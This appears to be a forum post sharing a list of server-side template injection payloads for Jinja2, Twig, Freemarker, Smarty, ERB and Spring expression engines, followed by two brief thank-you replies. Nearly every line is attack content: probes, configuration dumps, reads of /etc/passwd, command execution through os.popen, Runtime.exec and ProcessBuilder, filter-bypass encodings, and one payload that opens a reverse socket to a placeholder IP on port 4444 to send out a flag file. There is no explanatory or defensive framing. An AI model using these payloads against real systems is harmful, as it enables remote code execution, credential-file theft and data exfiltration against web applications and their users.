[Ashu]

• ```js
  
• {{2*2}}[[3*3]]
  
  
• {{3*3}}
  
  
• {{3*'3'}}
  
  
• <%= 3 * 3 %>
  
  
• ${6*6}
  
  
• ${{3*3}}
  
  
• @(6+5)
  
  
• #{3*3}
  
  
• #{ 3 * 3 }
  
  
• {{dump(app)}}
  
  
• {{app.request.server.all|join(',')}}
  
  
• {{config.items()}}
  
  
• {{ [].class.base.subclasses() }}
  
  
• {{''.class.mro()[1].subclasses()}}
  
  
• {{ ''.__class__.__mro__[2].__subclasses__() }}
  
  
• {% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
  
  
• {{'a'.toUpperCase()}}
  
  
• {{ request }}
  
  
• {{self}}
  
  
• <%= File.open('/etc/passwd').read %>
  
  
• <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
  
  
• [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
  
  
• ${"freemarker.template.utility.Execute"?new()("id")}
  
  
• {{app.request.query.filter(0,0,1024,{'options':'system'})}}
  
  
• {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
  
  
• {{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
  
  
• {{''.__class__.mro()[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}
  
  
• {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
  
  
• {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
  
  
• {$smarty.version}
  
  
• {php}echo `id`;{/php}
  
  
• {{['id']|filter('system')}}
  
  
• {{['cat\x20/etc/passwd']|filter('system')}}
  
  
• {{['cat$IFS/etc/passwd']|filter('system')}}
  
  
• {{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
  
  
• {{request|attr(["_"*2,"class","_"*2]|join)}}
  
  
• {{request|attr(["__","class","__"]|join)}}
  
  
• {{request|attr("__class__")}}
  
  
• {{request.__class__}}
  
  
• {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
  
  
• {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
  
  
• {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
  
  
• {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
  
  
• {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
  
  
• {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
  
  
• ${T(java.lang.System).getenv()}
  
  
• ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
  
  
• ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  
• ```
  

[dance]

very useful thanks

[BonusBonus]

Oh great i think i can use this or can i?